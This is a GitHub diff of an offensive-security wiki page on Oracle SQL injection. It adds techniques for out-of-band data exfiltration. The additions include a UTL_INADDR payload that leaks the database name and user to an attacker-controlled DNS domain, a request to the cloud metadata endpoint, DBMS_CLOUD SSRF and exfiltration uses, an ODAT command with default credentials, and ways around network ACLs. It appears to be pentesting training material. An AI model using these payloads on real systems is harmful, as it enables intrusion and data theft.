You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-web/sql-injection/oracle-injection.md
+92-2Lines changed: 92 additions & 2 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -156,9 +156,99 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
156
156
157
157
A `ORA-12541: TNS:no listener` or a `TNS:operation timed out` is a sign that the TCP port is closed, whereas a `ORA-29263: HTTP protocol error` or data is a sign that the port is open.
158
158
159
-
Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
159
+
Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
160
160
161
-
{{#include ../../banners/hacktricks-training.md}}
161
+
```
162
+
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
### UTL_INADDR – DNS-based exfiltration and host discovery
170
+
171
+
`UTL_INADDR` exposes simple name-resolution helpers that trigger an outbound DNS lookup from the database host. Because only a domain is required (no port/ACL needed) it is a reliable primitive for blind-exfil when other network callouts are blocked.
172
+
173
+
```sql
174
+
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
175
+
SELECTUTL_INADDR.get_host_address(
176
+
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
177
+
'.attacker.oob.server') FROM dual;
178
+
```
179
+
180
+
`get_host_address()` returns the resolved IP (or raises `ORA-29257` if resolution fails). The attacker only needs to watch for the incoming DNS request on the controlled domain to confirm code execution.
181
+
182
+
### DBMS_CLOUD.SEND_REQUEST – full HTTP client on Autonomous/23c
183
+
184
+
Recent cloud-centric editions (Autonomous Database, 21c/23c, 23ai) ship with `DBMS_CLOUD`. The `SEND_REQUEST` function acts as a general-purpose HTTP client that supports custom verbs, headers, TLS and large bodies, making it far more powerful than the classical `UTL_HTTP`.
185
+
186
+
```sql
187
+
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
Because `SEND_REQUEST` allows arbitrary target URIs it can be abused via SQLi for:
211
+
1. Internal port scanning / SSRF to cloud metadata services.
212
+
2. Out-of-band exfiltration over HTTPS (use Burp Collaborator or an `ngrok` tunnel).
213
+
3. Callbacks to attacker servers even when older callout packages are disabled by ACLs.
214
+
215
+
ℹ️ If you only have a classical on-prem 19c but can create Java stored procedures, you can sometimes install `DBMS_CLOUD` from the OCI client bundle — useful in some engagements.
216
+
217
+
### Automating the attack surface with **ODAT**
218
+
219
+
[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) has kept pace with modern releases (tested up to 19c, 5.1.1 – Apr-2022). The `–utl_http`, `–utl_tcp`, `–httpuritype` and newer `–dbms_cloud` modules automatically:
220
+
* Detect usable callout packages/ACL grants.
221
+
* Trigger DNS & HTTP callbacks for blind extraction.
222
+
* Generate ready-to-copy SQL payloads for Burp/SQLMap.
223
+
224
+
Example: quick OOB check with default creds (takes care of ACL enumeration in the background):
225
+
226
+
```bash
227
+
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
228
+
```
229
+
230
+
### Recent network ACL restrictions & bypasses
231
+
232
+
Oracle tightened default Network ACLs in the July 2023 CPU — unprivileged accounts now receive `ORA-24247: network access denied by access control list` by default. Two patterns still allow callouts through SQLi:
233
+
1. Target account owns an ACL entry (`DBMS_NETWORK_ACL_ADMIN.create_acl`) that was added by a developer for integrations.
234
+
2. The attacker abuses a high-privilege PL/SQL definer-rights routine (e.g. in a custom application) that *already* has `AUTHID DEFINER` and the necessary grants.
162
235
236
+
If you encounter `ORA-24247` during exploitation always search for reusable procedures:
237
+
238
+
```sql
239
+
SELECT owner, object_name
240
+
FROM dba_objects
241
+
WHERE object_type ='PROCEDURE'
242
+
AND authid ='DEFINER';
243
+
```
163
244
245
+
(in many audits at least one reporting/export procedure had the needed rights).
164
246
247
+
---
248
+
249
+
## References
250
+
251
+
* Oracle Docs – `DBMS_CLOUD.SEND_REQUEST` package description and examples.
0 commit comments